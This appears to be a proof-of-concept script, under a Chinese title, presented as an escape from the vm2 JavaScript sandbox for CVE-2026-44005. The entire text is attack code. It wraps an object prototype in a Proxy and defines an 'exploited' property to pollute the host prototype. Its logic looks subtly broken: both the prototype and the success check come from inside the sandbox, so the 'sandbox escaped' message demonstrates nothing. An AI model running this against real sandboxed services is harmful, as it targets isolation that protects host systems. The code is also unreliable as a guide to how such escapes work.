CVE-2026-44005 vm2沙箱逃逸漏洞

const {VM} = require('vm2'); const vm = new VM(); // PoC Concept: Exploit prototype pollution via mutable proxies const exploit = ` const handler = { defineProperty(target, prop, descriptor) { // Forward the operation to the host object via the bridge return Reflect.defineProperty(target, prop, descriptor); } }; // Target the host Object prototype const hostProto = Object.getPrototypeOf({}); const proxy = new Proxy(hostProto, handler); // Attempt to pollute the host prototype try { Object.defineProperty(proxy, 'exploited', { value: true, writable: true, configurable: true, enumerable: true }); if ({}.exploited === true) { console.log('Success: Host prototype polluted, sandbox escaped.'); } } catch (e) { console.log('Exploit failed:', e.message); } `; vm.run(exploit);